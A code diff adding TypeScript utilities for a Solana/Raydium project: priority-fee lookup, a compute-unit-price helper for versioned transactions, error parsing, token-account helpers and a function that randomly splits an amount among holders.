ComputeBudgetConfig | undefined
|
|
49
|
+
> {
|
|
50
|
+
const response = await axios.get<SolanaFeeInfoJson>(
|
|
51
|
+
"https://solanacompass.com/api/fees"
|
|
52
|
+
);
|
|
53
|
+
const json = response.data;
|
|
54
|
+
const { avg } = json?.[15] ?? {};
|
|
55
|
+
if (!avg) return undefined; // fetch error
|
|
56
|
+
return {
|
|
57
|
+
units: sell_remove_fees,
|
|
58
|
+
microLamports: Math.min(Math.ceil((avg * 1000000) / 600000), 25000)
|
|
59
|
+
} as ComputeBudgetConfig;
|
|
60
|
+
}
|
|
61
|
+
|
|
62
|
+
export function getLamports(decimal: number) {
|
|
63
|
+
return 10 ** decimal;
|
|
64
|
+
}
|
|
65
|
+
|
|
66
|
+
export async function setTransactionBudget(
|
|
67
|
+
connection: Connection,
|
|
68
|
+
transactions: TransactionInfo[],
|
|
69
|
+
tip: number
|
|
70
|
+
): Promise<TransactionInfo[] | undefined> {
|
|
71
|
+
try {
|
|
72
|
+
const txs = [...transactions];
|
|
73
|
+
const tipInst = ComputeBudgetProgram.setComputeUnitPrice({
|
|
74
|
+
microLamports: tip * LAMPORTS_PER_SOL
|
|
75
|
+
});
|
|
76
|
+
|
|
77
|
+
for (const tx of txs) {
|
|
78
|
+
const addressLookupTableAccounts = await Promise.all(
|
|
79
|
+
tx.txn.message.addressTableLookups.map(async (lookup) => {
|
|
80
|
+
return new AddressLookupTableAccount({
|
|
81
|
+
key: lookup.accountKey,
|
|
82
|
+
state: AddressLookupTableAccount.deserialize(
|
|
83
|
+
await connection
|
|
84
|
+
.getAccountInfo(lookup.accountKey)
|
|
85
|
+
.then((res) => res!.data)
|
|
86
|
+
)
|
|
87
|
+
});
|
|
88
|
+
})
|
|
89
|
+
);
|
|
90
|
+
|
|
91
|
+
const message = TransactionMessage.decompile(tx.txn.message, {
|
|
92
|
+
addressLookupTableAccounts: addressLookupTableAccounts
|
|
93
|
+
});
|
|
94
|
+
|
|
95
|
+
message.instructions.push(tipInst);
|
|
96
|
+
|
|
97
|
+
tx.txn.message = message.compileToV0Message(addressLookupTableAccounts);
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
return [...txs];
|
|
101
|
+
} catch (error) {
|
|
102
|
+
throw new SetTxPriorityError(`SetTxPriorityError: ${error}`);
|
|
103
|
+
}
|
|
104
|
+
}
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
import { BaseError } from "../errors";
|
|
2
|
+
|
|
3
|
+
export interface ParsedError {
|
|
4
|
+
name: string;
|
|
5
|
+
errorCode: string;
|
|
6
|
+
errorMsg: string;
|
|
7
|
+
}
|
|
8
|
+
|
|
9
|
+
export const getParsedError = (error: BaseError): ParsedError => {
|
|
10
|
+
let parsedErr: ParsedError = { name: "", errorCode: "", errorMsg: "" };
|
|
11
|
+
|
|
12
|
+
if (error.name! && error.name.length > 0) {
|
|
13
|
+
parsedErr.name = error.name;
|
|
14
|
+
const errorMsg = error.message.split(":");
|
|
15
|
+
parsedErr.errorCode = errorMsg.at(0)!.toString();
|
|
16
|
+
parsedErr.errorMsg = error.message.slice(errorMsg.at(0)?.length);
|
|
17
|
+
}
|
|
18
|
+
|
|
19
|
+
return parsedErr;
|
|
20
|
+
};
|
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
import { Connection, PublicKey } from "@solana/web3.js";
|
|
2
|
+
import {
|
|
3
|
+
TokenAccount,
|
|
4
|
+
TOKEN_PROGRAM_ID,
|
|
5
|
+
SPL_ACCOUNT_LAYOUT,
|
|
6
|
+
findProgramAddress
|
|
7
|
+
} from "@raydium-io/raydium-sdk";
|
|
8
|
+
import BN from "bn.js";
|
|
9
|
+
import BigNumber from "bignumber.js";
|
|
10
|
+
|
|
11
|
+
export async function getWalletTokenAccount(
|
|
12
|
+
connection: Connection,
|
|
13
|
+
wallet: PublicKey
|
|
14
|
+
): Promise<TokenAccount[]> {
|
|
15
|
+
const walletTokenAccount = await connection.getTokenAccountsByOwner(wallet, {
|
|
16
|
+
programId: TOKEN_PROGRAM_ID
|
|
17
|
+
});
|
|
18
|
+
return walletTokenAccount.value.map((i) => ({
|
|
19
|
+
pubkey: i.pubkey,
|
|
20
|
+
programId: i.account.owner,
|
|
21
|
+
accountInfo: SPL_ACCOUNT_LAYOUT.decode(i.account.data)
|
|
22
|
+
}));
|
|
23
|
+
}
|
|
24
|
+
|
|
25
|
+
export function getATAAddress(
|
|
26
|
+
programId: PublicKey,
|
|
27
|
+
owner: PublicKey,
|
|
28
|
+
mint: PublicKey
|
|
29
|
+
) {
|
|
30
|
+
const { publicKey, nonce } = findProgramAddress(
|
|
31
|
+
[owner.toBuffer(), programId.toBuffer(), mint.toBuffer()],
|
|
32
|
+
new PublicKey("ATokenGPvbdGVxr1b2hvZbsiqW5xWH25efTNsLJA8knL")
|
|
33
|
+
);
|
|
34
|
+
return { publicKey, nonce };
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
export const xWeiAmount = (amount: number, decimals: number) => {
|
|
38
|
+
return new BN(
|
|
39
|
+
new BigNumber(amount.toString() + "e" + decimals.toString()).toFixed(0)
|
|
40
|
+
);
|
|
41
|
+
};
|
|
42
|
+
|
|
43
|
+
export function randomDivide(amount: number, holders: number): number[] {
|
|
44
|
+
// Generate random values for each holder
|
|
45
|
+
const randomValues = Array.from({ length: holders }, () => Math.random());
|
|
46
|
+
|
|
47
|
+
// Normalize the random values to sum to 1
|
|
48
|
+
const total = randomValues.reduce((acc, val) => acc + val, 0);
|
|
49
|
+
const normalizedValues = randomValues.map((val) => val / total);
|
|
50
|
+
|
|
51
|
+
// Divide the amount according to the normalized values
|
|
52
|
+
const dividedAmounts = normalizedValues.map((val) => amount * val);
|
|
53
|
+
|
|
54
|
+
return dividedAmounts;
|
|
55
|
+
}
|